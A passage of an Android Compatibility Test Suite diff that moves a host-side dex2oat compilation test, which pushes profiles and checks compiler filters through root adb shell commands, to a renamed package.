+SHLandroid/compilation/cts/CompilationTargetActivity;->m65()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m66()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m67()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m68()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m69()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m70()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m71()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m72()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m73()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m74()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m75()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m76()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m77()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m78()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m79()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m80()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m81()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m82()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m83()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m84()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m85()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m86()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m87()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m88()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m89()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m90()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m91()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m92()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m93()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m94()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m95()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m96()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m97()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m98()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m99()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m100()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m101()I
\ No newline at end of file
diff --git a/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java
new file mode 100644
index 0000000..d371a08
--- /dev/null
+++ b/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java
@@ -0,0 +1,471 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.compilation.cts;
+
+import com.google.common.io.ByteStreams;
+import com.google.common.io.Files;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.util.FileUtil;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.EnumSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Locale;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static com.google.common.base.Preconditions.checkNotNull;
+
+/**
+ * Various integration tests for dex to oat compilation, with or without profiles.
+ * When changing this test, make sure it still passes in each of the following
+ * configurations:
+ * <ul>
+ *     <li>On a 'user' build</li>
+ *     <li>On a 'userdebug' build with system property 'dalvik.vm.usejitprofiles' set to false</li>
+ *     <li>On a 'userdebug' build with system property 'dalvik.vm.usejitprofiles' set to true</li>
+ * </ul>
+ */
+public class AdbRootDependentCompilationTest extends DeviceTestCase {
+    private static final String APPLICATION_PACKAGE = "android.compilation.cts";
+
+    enum ProfileLocation {
+        CUR("/data/misc/profiles/cur/0/" + APPLICATION_PACKAGE),
+        REF("/data/misc/profiles/ref/" + APPLICATION_PACKAGE);
+
+        private String directory;
+
+        ProfileLocation(String directory) {
+            this.directory = directory;
+        }
+
+        public String getDirectory() {
+            return directory;
+        }
+
+        public String getPath() {
+            return directory + "/primary.prof";
+        }
+    }
+
+    private ITestDevice mDevice;
+    private File textProfileFile;
+    private byte[] initialOdexFileContents;
+    private File apkFile;
+    private boolean mCanEnableDeviceRootAccess;
+
+    private Matcher mAdbLineFilter;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mDevice = getDevice();
+
+        String buildType = mDevice.getProperty("ro.build.type");
+        assertTrue("Unknown build type: " + buildType,
+                Arrays.asList("user", "userdebug", "eng").contains(buildType));
+        boolean wasRoot = mDevice.isAdbRoot();
+        // We can only enable root access on userdebug and eng builds.
+        mCanEnableDeviceRootAccess = buildType.equals("userdebug") || buildType.equals("eng");
+
+        apkFile = File.createTempFile("CtsCompilationApp", ".apk");
+        try (OutputStream outputStream = new FileOutputStream(apkFile)) {
+            InputStream inputStream = getClass().getResourceAsStream("/CtsCompilationApp.apk");
+            ByteStreams.copy(inputStream, outputStream);
+        }
+        mDevice.uninstallPackage(APPLICATION_PACKAGE); // in case it's still installed
+        mDevice.installPackage(apkFile, false);
+
+        // Write the text profile to a temporary file so that we can run profman on it to create a
+        // real profile.
+        byte[] profileBytes = ByteStreams.toByteArray(
+                getClass().getResourceAsStream("/primary.prof.txt"));
+        assertTrue("empty profile", profileBytes.length > 0); // sanity check
+        textProfileFile = File.createTempFile("compilationtest", "prof.txt");
+        Files.write(profileBytes, textProfileFile);
+
+        // Ignore issues in cmd.
+        mAdbLineFilter = Pattern.compile("FORTIFY: pthread_mutex_lock.*").matcher("");
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        FileUtil.deleteFile(apkFile);
+        FileUtil.deleteFile(textProfileFile);
+        mDevice.uninstallPackage(APPLICATION_PACKAGE);
+        super.tearDown();
+    }
+
+    /**
+     * Tests compilation using {@code -r bg-dexopt -f}.
+     */
+    public void testCompile_bgDexopt() throws Exception {
+        if (!canRunTest(EnumSet.noneOf(ProfileLocation.class))) {
+            return;
+        }
+        // Usually "interpret-only"
+        String expectedInstallFilter = checkNotNull(mDevice.getProperty("pm.dexopt.install"));
+        // Usually "speed-profile"
+        String expectedBgDexoptFilter = checkNotNull(mDevice.getProperty("pm.dexopt.bg-dexopt"));
+
+        String odexPath = getOdexFilePath();
+        assertEquals(expectedInstallFilter, getCompilerFilter(odexPath));
+
+        // Without -f, the compiler would only run if it judged the bg-dexopt filter to
+        // be "better" than the install filter. However manufacturers can change those
+        // values so we don't want to depend here on the resulting filter being better.
+        executeCompile("-r", "bg-dexopt", "-f");
+
+        assertEquals(expectedBgDexoptFilter, getCompilerFilter(odexPath));
+    }
+
+    /*
+     The tests below test the remaining combinations of the "ref" (reference) and
+     "cur" (current) profile being available. The "cur" profile gets moved/merged
+     into the "ref" profile when it differs enough; as of 2016-05-10, "differs
+     enough" is based on number of methods and classes in profile_assistant.cc.
+
+     No nonempty profile exists right after an app is installed.
+     Once the app runs, a profile will get collected in "cur" first but
+     may make it to "ref" later. While the profile is being processed by
+     profile_assistant, it may only be available in "ref".
+     */
+
+    public void testCompile_noProfile() throws Exception {
+        compileWithProfilesAndCheckFilter(false /* expectOdexChange */,
+                EnumSet.noneOf(ProfileLocation.class));
+    }
+
+    public void testCompile_curProfile() throws Exception {
+        boolean didRun = compileWithProfilesAndCheckFilter(true  /* expectOdexChange */,
+                 EnumSet.of(ProfileLocation.CUR));
+        if (didRun) {
+            assertTrue("ref profile should have been created by the compiler",
+                    doesFileExist(ProfileLocation.REF.getPath()));
+        }
+    }
+
+    public void testCompile_refProfile() throws Exception {
+        compileWithProfilesAndCheckFilter(false /* expectOdexChange */,
+                 EnumSet.of(ProfileLocation.REF));
+        // We assume that the compiler isn't smart enough to realize that the
+        // previous odex was compiled before the ref profile was in place, even
+        // though theoretically it could be.
+    }
+
+    public void testCompile_curAndRefProfile() throws Exception {
+        compileWithProfilesAndCheckFilter(false /* expectOdexChange */,
+                EnumSet.of(ProfileLocation.CUR, ProfileLocation.REF));
+    }
+
+    private byte[] readFileOnClient(String clientPath) throws Exception {
+        assertTrue("File not found on client: " + clientPath,
+                doesFileExist(clientPath));
+        File copyOnHost = File.createTempFile("host", "copy");
+        try {
+            executePull(clientPath, copyOnHost.getPath());
+            return Files.toByteArray(copyOnHost);
+        } finally {
+            FileUtil.deleteFile(copyOnHost);
+        }
+    }
+
+    /**
+     * Places the profile in the specified locations, recompiles (without -f)
+     * and checks the compiler-filter in the odex file.
+     *
+     * @return whether the test ran (as opposed to early exit)
+     */
+    private boolean compileWithProfilesAndCheckFilter(boolean expectOdexChange,
+            Set<ProfileLocation> profileLocations)
+            throws Exception {
+        if (!canRunTest(profileLocations)) {
+            return false;
+        }
+        // ensure no profiles initially present
+        for (ProfileLocation profileLocation : ProfileLocation.values()) {
+            String clientPath = profileLocation.getPath();
+            if (doesFileExist(clientPath)) {
+                executeSuShellAdbCommand(0, "rm", clientPath);
+            }
+        }
+        executeCompile("-m", "speed-profile", "-f");
+        String odexFilePath = getOdexFilePath();
+        byte[] initialOdexFileContents = readFileOnClient(odexFilePath);
+        assertTrue("empty odex file", initialOdexFileContents.length > 0); // sanity check
+
+        for (ProfileLocation profileLocation : profileLocations) {
+            writeProfile(profileLocation);
+        }
+        executeCompile("-m", "speed-profile");
+
+        // Confirm the compiler-filter used in creating the odex file
+        String compilerFilter = getCompilerFilter(odexFilePath);
+
+        assertEquals("compiler-filter", "speed-profile", compilerFilter);
+
+        byte[] odexFileContents = readFileOnClient(odexFilePath);
+        boolean odexChanged = !(Arrays.equals(initialOdexFileContents, odexFileContents));
+        if (odexChanged && !expectOdexChange) {
+            String msg = String.format(Locale.US, "Odex file without filters (%d bytes) "
+                    + "unexpectedly different from odex file (%d bytes) compiled with filters: %s",
+                    initialOdexFileContents.length, odexFileContents.length, profileLocations);
+            fail(msg);
+        } else if (!odexChanged && expectOdexChange) {
+            fail("odex file should have changed when recompiling with " + profileLocations);
+        }
+        return true;
+    }
+
+    /**
+     * Invokes the dex2oat compiler on the client.
+     *
+     * @param compileOptions extra options to pass to the compiler on the command line
+     */
+    private void executeCompile(String... compileOptions) throws Exception {
+        List<String> command = new ArrayList<>(Arrays.asList("cmd", "package", "compile"));
+        command.addAll(Arrays.asList(compileOptions));
+        command.add(APPLICATION_PACKAGE);
+        String[] commandArray = command.toArray(new String[0]);
+        assertEquals("Success", executeSuShellAdbCommand(1, commandArray)[0]);
+    }
+
+    /**
+     * Copies {@link #textProfileFile} to the device and convert it to a binary profile on the
+     * client device.
+     */
+    private void writeProfile(ProfileLocation location) throws Exception {
+        String targetPath = location.getPath();
+        // Get the owner of the parent directory so we can set it on the file
+        String targetDir = location.getDirectory();
+        if (!doesFileExist(targetDir)) {
+            fail("Not found: " + targetPath);
+        }
+        // in format group:user so we can directly pass it to chown
+        String owner = executeSuShellAdbCommand(1, "stat", "-c", "%U:%g", targetDir)[0];
+        // for some reason, I've observed the output starting with a single space
+        while (owner.startsWith(" ")) {
+            owner = owner.substring(1);
+        }
+
+        String targetPathTemp = targetPath + ".tmp";
+        executePush(textProfileFile.getAbsolutePath(), targetPathTemp, targetDir);
+        assertTrue("Failed to push text profile", doesFileExist(targetPathTemp));
+
+        String targetPathApk = targetPath + ".apk";
+        executePush(apkFile.getAbsolutePath(), targetPathApk, targetDir);
+        assertTrue("Failed to push APK from ", doesFileExist(targetPathApk));
+        // Run profman to create the real profile on device.
+        String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
+        pathSpec = pathSpec.replace("package:", "");
+        assertTrue("Failed find APK " + pathSpec, doesFileExist(pathSpec));
+        executeSuShellAdbCommand(
+                "profman",
+                "--create-profile-from=" + targetPathTemp,
+                "--apk=" + pathSpec,
+                "--dex-location=" + pathSpec,
+                "--reference-profile-file=" + targetPath);
+        executeSuShellAdbCommand(0, "chown", owner, targetPath);
+        // Verify that the file was written successfully
+        assertTrue("failed to create profile file", doesFileExist(targetPath));
+        String[] result = executeSuShellAdbCommand(1, "stat", "-c", "%s", targetPath);
+        assertTrue("profile " + targetPath + " is " + Integer.parseInt(result[0]) + " bytes",
+                   Integer.parseInt(result[0]) > 0);
+    }
+
+    /**
+     * Parses the value for the key "compiler-filter" out of the output from
+     * {@code oatdump --header-only}.
+     */
+    private String getCompilerFilter(String odexFilePath) throws DeviceNotAvailableException {
+        String[] response = executeSuShellAdbCommand(
+                "oatdump", "--header-only", "--oat-file=" + odexFilePath);
+        String prefix = "compiler-filter =";
+        for (String line : response) {
+            line = line.trim();
+            if (line.startsWith(prefix)) {
+                return line.substring(prefix.length()).trim();
+            }
+        }
+        fail("No occurence of \"" + prefix + "\" in: " + Arrays.toString(response));
+        return null;
+    }
+
+    /**
+     * Returns the path to the application's base.odex file that should have
+     * been created by the compiler.
+     */
+    private String getOdexFilePath() throws DeviceNotAvailableException {
+        // Something like "package:/data/app/android.compilation.cts-1/base.apk"
+        String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
+        Matcher matcher = Pattern.compile("^package:(.+/)base\\.apk$").matcher(pathSpec);
+        boolean found = matcher.find();
+        assertTrue("Malformed spec: " + pathSpec, found);
+        String apkDir = matcher.group(1);
+        // E.g. /data/app/android.compilation.cts-1/oat/arm64/base.odex
+        String result = executeSuShellAdbCommand(1, "find", apkDir, "-name", "base.odex")[0];
+        assertTrue("odex file not found: " + result, doesFileExist(result));
+        return result;
+    }
+
+    /**
+     * Returns whether a test that uses the given profileLocations can run
+     * in the current device configuration. This allows tests to exit early.
+     *
+     * <p>Ideally we'd like tests to be marked as skipped/ignored or similar
+     * rather than passing if they can't run on the current device, but that
+     * doesn't seem to be supported by CTS as of 2016-05-24.
+     * TODO: Use Assume.assumeTrue() if this test gets converted to JUnit 4.
+     */
+    private boolean canRunTest(Set<ProfileLocation> profileLocations) throws Exception {
+        boolean result = mCanEnableDeviceRootAccess &&
+                (profileLocations.isEmpty() || isUseJitProfiles());
+        if (!result) {
+            System.err.printf("Skipping test [mCanEnableDeviceRootAccess=%s, %d profiles] on %s\n",
+                    mCanEnableDeviceRootAccess, profileLocations.size(), mDevice);
+        }
+        return result;
+    }
+
+    private boolean isUseJitProfiles() throws Exception {
+        boolean propUseJitProfiles = Boolean.parseBoolean(
+                executeSuShellAdbCommand(1, "getprop", "dalvik.vm.usejitprofiles")[0]);
+        return propUseJitProfiles;
+    }
+
+    private String[] filterAdbLines(String[] lines) {
+        List<String> linesList = new ArrayList<String>(Arrays.asList(lines));
+        Iterator<String> it = linesList.iterator();
+        while (it.hasNext()) {
+            String line = it.next();
+            mAdbLineFilter.reset(line);
+            if (mAdbLineFilter.matches()) {
+                it.remove();
+            }
+        }
+        if (linesList.size() != lines.length) {
+            return linesList.toArray(new String[linesList.size()]);
+        }
+        return lines;
+    }
+
+    private String[] executeSuShellAdbCommand(int numLinesOutputExpected, String... command)
+            throws DeviceNotAvailableException {
+        String[] lines = filterAdbLines(executeSuShellAdbCommand(command));
+        assertEquals(
+                String.format(Locale.US, "Expected %d lines output, got %d running %s: %s",
+                        numLinesOutputExpected, lines.length, Arrays.toString(command),
+                        Arrays.toString(lines)),
+                numLinesOutputExpected, lines.length);
+        return lines;
+    }
+
+    private String[] executeSuShellAdbCommand(String... command)
+            throws DeviceNotAvailableException {
+        // Add `shell su root` to the adb command.
+        String cmdString = String.join(" ", command);
+        String output = mDevice.executeShellCommand("su root " + cmdString);
+        // "".split() returns { "" }, but we want an empty array
+        String[] lines = output.equals("") ? new String[0] : output.split("\n");
+        return filterAdbLines(lines);
+    }
+
+    private String getSelinuxLabel(String path) throws DeviceNotAvailableException {
+        // ls -aZ (-a so it sees directories, -Z so it prints the label).
+        String[] res = executeSuShellAdbCommand(String.format(
+            "ls -aZ '%s'", path));
+
+        if (res.length == 0) {
+          return null;
+        }
+
+        // For directories, it will print many outputs. Filter to first line which contains '.'
+        // The target line will look like
+        //      "u:object_r:shell_data_file:s0 /data/local/tmp/android.compilation.cts.primary.prof"
+        // Remove the second word to only return "u:object_r:shell_data_file:s0".
+
+        return res[0].replaceAll("\\s+.*","");  // remove everything following the first whitespace
+    }
+
+    private void checkSelinuxLabelMatches(String a, String b) throws DeviceNotAvailableException {
+      String labelA = getSelinuxLabel(a);
+      String labelB = getSelinuxLabel(b);
+
+      assertEquals("expected the selinux labels to match", labelA, labelB);
+    }
+
+    private void executePush(String hostPath, String targetPath, String targetDirectory)
+            throws DeviceNotAvailableException {
+        // Cannot push to a privileged directory with one command.
+        // (i.e. there is no single-command equivalent of 'adb root; adb push src dst')
+        //
+        // Push to a tmp directory and then move it to the final destination
+        // after updating the selinux label.
+        String tmpPath = "/data/local/tmp/" + APPLICATION_PACKAGE + ".push.tmp";
+        assertTrue(mDevice.pushFile(new File(hostPath), tmpPath));
+
+        // Important: Use "cp" here because it newly copied files will inherit the security context
+        // of the targetDirectory according to the default policy.
+        //
+        // (Other approaches, such as moving the file retain the invalid security context
+        // of the tmp directory - b/37425296)
+        //
+        // This mimics the behavior of 'adb root; adb push $targetPath'.
+        executeSuShellAdbCommand("mv", tmpPath, targetPath);
+
+        // Important: Use "restorecon" here because the file in tmpPath retains the
+        // incompatible security context of /data/local/tmp.
+        //
+        // This mimics the behavior of 'adb root; adb push $targetPath'.
+        executeSuShellAdbCommand("restorecon", targetPath);
+
+        // Validate that the security context of the file matches the security context
+        // of the directory it was pushed to.
+        //
+        // This is a reasonable default behavior to check because most selinux policies
+        // are configured to behave like this.
+        checkSelinuxLabelMatches(targetDirectory, targetPath);
+    }
+
+    private void executePull(String targetPath, String hostPath)
+            throws DeviceNotAvailableException {
+        String tmpPath = "/data/local/tmp/" + APPLICATION_PACKAGE + ".pull.tmp";
+        executeSuShellAdbCommand("cp", targetPath, tmpPath);
+        try {
+            executeSuShellAdbCommand("chmod", "606", tmpPath);
+            assertTrue(mDevice.pullFile(tmpPath, new File(hostPath)));
+        } finally {
+            executeSuShellAdbCommand("rm", tmpPath);
+        }
+    }
+
+    private boolean doesFileExist(String path) throws DeviceNotAvailableException {
+        String[] result = executeSuShellAdbCommand("ls", path);
+        // Testing for empty directories will return an empty array.
+        return !(result.length > 0 && result[0].contains("No such file"));
+    }
+}
diff --git a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
deleted file mode 100644
index 591dcb4..0000000
--- a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
+++ /dev/null
@@ -1,449 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.compilation;
-
-import com.google.common.io.ByteStreams;
-import com.google.common.io.Files;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.util.FileUtil;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.EnumSet;
-import java.util.List;
-import java.util.Locale;
-import java.util.Set;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import static com.google.common.base.Preconditions.checkNotNull;
-
-/**
- * Various integration tests for dex to oat compilation, with or without profiles.
- * When changing this test, make sure it still passes in each of the following
- * configurations:
- * <ul>
- *     <li>On a 'user' build</li>
- *     <li>On a 'userdebug' build with system property 'dalvik.vm.usejitprofiles' set to false</li>
- *     <li>On a 'userdebug' build with system property 'dalvik.vm.usejitprofiles' set to true</li>
- * </ul>
- */
-public class AdbRootDependentCompilationTest extends DeviceTestCase {
-    private static final String APPLICATION_PACKAGE = "android.cts.compilation";
-
-    enum ProfileLocation {
-        CUR("/data/misc/profiles/cur/0/" + APPLICATION_PACKAGE),
-        REF("/data/misc/profiles/ref/" + APPLICATION_PACKAGE);
-
-        private String directory;
-
-        ProfileLocation(String directory) {
-            this.directory = directory;
-        }
-
-        public String getDirectory() {
-            return directory;
-        }
-
-        public String getPath() {
-            return directory + "/primary.prof";
-        }
-    }
-
-    private ITestDevice mDevice;
-    private File textProfileFile;
-    private byte[] initialOdexFileContents;
-    private File apkFile;
-    private boolean mCanEnableDeviceRootAccess;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mDevice = getDevice();
-
-        String buildType = mDevice.getProperty("ro.build.type");
-        assertTrue("Unknown build type: " + buildType,
-                Arrays.asList("user", "userdebug", "eng").contains(buildType));
-        boolean wasRoot = mDevice.isAdbRoot();
-        // We can only enable root access on userdebug and eng builds.
-        mCanEnableDeviceRootAccess = buildType.equals("userdebug") || buildType.equals("eng");
-
-        apkFile = File.createTempFile("CtsCompilationApp", ".apk");
-        try (OutputStream outputStream = new FileOutputStream(apkFile)) {
-            InputStream inputStream = getClass().getResourceAsStream("/CtsCompilationApp.apk");
-            ByteStreams.copy(inputStream, outputStream);
-        }
-        mDevice.uninstallPackage(APPLICATION_PACKAGE); // in case it's still installed
-        mDevice.installPackage(apkFile, false);
-
-        // Write the text profile to a temporary file so that we can run profman on it to create a
-        // real profile.
-        byte[] profileBytes = ByteStreams.toByteArray(
-                getClass().getResourceAsStream("/primary.prof.txt"));
-        assertTrue("empty profile", profileBytes.length > 0); // sanity check
-        textProfileFile = File.createTempFile("compilationtest", "prof.txt");
-        Files.write(profileBytes, textProfileFile);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        FileUtil.deleteFile(apkFile);
-        FileUtil.deleteFile(textProfileFile);
-        mDevice.uninstallPackage(APPLICATION_PACKAGE);
-        super.tearDown();
-    }
-
-    /**
-     * Tests compilation using {@code -r bg-dexopt -f}.
-     */
-    public void testCompile_bgDexopt() throws Exception {
-        if (!canRunTest(EnumSet.noneOf(ProfileLocation.class))) {
-            return;
-        }
-        // Usually "interpret-only"
-        String expectedInstallFilter = checkNotNull(mDevice.getProperty("pm.dexopt.install"));
-        // Usually "speed-profile"
-        String expectedBgDexoptFilter = checkNotNull(mDevice.getProperty("pm.dexopt.bg-dexopt"));
-
-        String odexPath = getOdexFilePath();
-        assertEquals(expectedInstallFilter, getCompilerFilter(odexPath));
-
-        // Without -f, the compiler would only run if it judged the bg-dexopt filter to
-        // be "better" than the install filter. However manufacturers can change those
-        // values so we don't want to depend here on the resulting filter being better.
-        executeCompile("-r", "bg-dexopt", "-f");
-
-        assertEquals(expectedBgDexoptFilter, getCompilerFilter(odexPath));
-    }
-
-    /*
-     The tests below test the remaining combinations of the "ref" (reference) and
-     "cur" (current) profile being available. The "cur" profile gets moved/merged
-     into the "ref" profile when it differs enough; as of 2016-05-10, "differs
-     enough" is based on number of methods and classes in profile_assistant.cc.
-
-     No nonempty profile exists right after an app is installed.
-     Once the app runs, a profile will get collected in "cur" first but
-     may make it to "ref" later. While the profile is being processed by
-     profile_assistant, it may only be available in "ref".
-     */
-
-    public void testCompile_noProfile() throws Exception {
-        compileWithProfilesAndCheckFilter(false /* expectOdexChange */,
-                EnumSet.noneOf(ProfileLocation.class));
-    }
-
-    public void testCompile_curProfile() throws Exception {
-        boolean didRun = compileWithProfilesAndCheckFilter(true  /* expectOdexChange */,
-                 EnumSet.of(ProfileLocation.CUR));
-        if (didRun) {
-            assertTrue("ref profile should have been created by the compiler",
-                    doesFileExist(ProfileLocation.REF.getPath()));
-        }
-    }
-
-    public void testCompile_refProfile() throws Exception {
-        compileWithProfilesAndCheckFilter(false /* expectOdexChange */,
-                 EnumSet.of(ProfileLocation.REF));
-        // We assume that the compiler isn't smart enough to realize that the
-        // previous odex was compiled before the ref profile was in place, even
-        // though theoretically it could be.
-    }
-
-    public void testCompile_curAndRefProfile() throws Exception {
-        compileWithProfilesAndCheckFilter(false /* expectOdexChange */,
-                EnumSet.of(ProfileLocation.CUR, ProfileLocation.REF));
-    }
-
-    private byte[] readFileOnClient(String clientPath) throws Exception {
-        assertTrue("File not found on client: " + clientPath,
-                doesFileExist(clientPath));
-        File copyOnHost = File.createTempFile("host", "copy");
-        try {
-            executePull(clientPath, copyOnHost.getPath());
-            return Files.toByteArray(copyOnHost);
-        } finally {
-            FileUtil.deleteFile(copyOnHost);
-        }
-    }
-
-    /**
-     * Places the profile in the specified locations, recompiles (without -f)
-     * and checks the compiler-filter in the odex file.
-     *
-     * @return whether the test ran (as opposed to early exit)
-     */
-    private boolean compileWithProfilesAndCheckFilter(boolean expectOdexChange,
-            Set<ProfileLocation> profileLocations)
-            throws Exception {
-        if (!canRunTest(profileLocations)) {
-            return false;
-        }
-        // ensure no profiles initially present
-        for (ProfileLocation profileLocation : ProfileLocation.values()) {
-            String clientPath = profileLocation.getPath();
-            if (doesFileExist(clientPath)) {
-                executeSuShellAdbCommand(0, "rm", clientPath);
-            }
-        }
-        executeCompile("-m", "speed-profile", "-f");
-        String odexFilePath = getOdexFilePath();
-        byte[] initialOdexFileContents = readFileOnClient(odexFilePath);
-        assertTrue("empty odex file", initialOdexFileContents.length > 0); // sanity check
-
-        for (ProfileLocation profileLocation : profileLocations) {
-            writeProfile(profileLocation);
-        }
-        executeCompile("-m", "speed-profile");
-
-        // Confirm the compiler-filter used in creating the odex file
-        String compilerFilter = getCompilerFilter(odexFilePath);
-
-        assertEquals("compiler-filter", "speed-profile", compilerFilter);
-
-        byte[] odexFileContents = readFileOnClient(odexFilePath);
-        boolean odexChanged = !(Arrays.equals(initialOdexFileContents, odexFileContents));
-        if (odexChanged && !expectOdexChange) {
-            String msg = String.format(Locale.US, "Odex file without filters (%d bytes) "
-                    + "unexpectedly different from odex file (%d bytes) compiled with filters: %s",
-                    initialOdexFileContents.length, odexFileContents.length, profileLocations);
-            fail(msg);
-        } else if (!odexChanged && expectOdexChange) {
-            fail("odex file should have changed when recompiling with " + profileLocations);
-        }
-        return true;
-    }
-
-    /**
-     * Invokes the dex2oat compiler on the client.
-     *
-     * @param compileOptions extra options to pass to the compiler on the command line
-     */
-    private void executeCompile(String... compileOptions) throws Exception {
-        List<String> command = new ArrayList<>(Arrays.asList("cmd", "package", "compile"));
-        command.addAll(Arrays.asList(compileOptions));
-        command.add(APPLICATION_PACKAGE);
-        String[] commandArray = command.toArray(new String[0]);
-        assertEquals("Success", executeSuShellAdbCommand(1, commandArray)[0]);
-    }
-
-    /**
-     * Copies {@link #textProfileFile} to the device and convert it to a binary profile on the
-     * client device.
-     */
-    private void writeProfile(ProfileLocation location) throws Exception {
-        String targetPath = location.getPath();
-        // Get the owner of the parent directory so we can set it on the file
-        String targetDir = location.getDirectory();
-        if (!doesFileExist(targetDir)) {
-            fail("Not found: " + targetPath);
-        }
-        // in format group:user so we can directly pass it to chown
-        String owner = executeSuShellAdbCommand(1, "stat", "-c", "%U:%g", targetDir)[0];
-        // for some reason, I've observed the output starting with a single space
-        while (owner.startsWith(" ")) {
-            owner = owner.substring(1);
-        }
-
-        String targetPathTemp = targetPath + ".tmp";
-        executePush(textProfileFile.getAbsolutePath(), targetPathTemp, targetDir);
-        assertTrue("Failed to push text profile", doesFileExist(targetPathTemp));
-
-        String targetPathApk = targetPath + ".apk";
-        executePush(apkFile.getAbsolutePath(), targetPathApk, targetDir);
-        assertTrue("Failed to push APK from ", doesFileExist(targetPathApk));
-        // Run profman to create the real profile on device.
-        String pathSpec = executeSuShellAdbCommand(1, "pm", "path", APPLICATION_PACKAGE)[0];
-        pathSpec = pathSpec.replace("package:", "");
-        assertTrue("Failed find APK " + pathSpec, doesFileExist(pathSpec));
-        executeSuShellAdbCommand(
-                "profman",
-                "--create-profile-from=" + targetPathTemp,
-                "--apk=" + pathSpec,
-                "--dex-location=" + pathSpec,
-                "--reference-profile-file=" + targetPath);
-        executeSuShellAdbCommand(0, "chown", owner, targetPath);
-        // Verify that the file was written successfully
-        assertTrue("failed to create profile file", doesFileExist(targetPath));
-        String[] result = executeSuShellAdbCommand(1, "stat", "-c", "%s", targetPath);
-        assertTrue("profile " + targetPath + " is " + Integer.parseInt(result[0]) + " bytes",
-                   Integer.parseInt(result[0]) > 0);
-    }
-
-    /**
-     * Parses the value for the key "compiler-filter" out of the output from
-     * {@code oatdump --header-only}.
-     */
-    private String getCompilerFilter(String odexFilePath) throws DeviceNotAvailableException {
-        String[] response = executeSuShellAdbCommand(
-                "oatdump", "--header-only", "--oat-file=" + odexFilePath);
-        String prefix = "compiler-filter =";
-        for (String line : response) {
-            line = line.trim();
-            if (line.startsWith(prefix)) {
-                return line.substring(prefix.length()).trim();
-            }
-        }
-        fail("No occurence of \"" + prefix + "\" in: " + Arrays.toString(response));
-        return null;
-    }
-
-    /**
-     * Returns the path to the application's base.odex file that should have
-     * been created by the compiler.
-     */
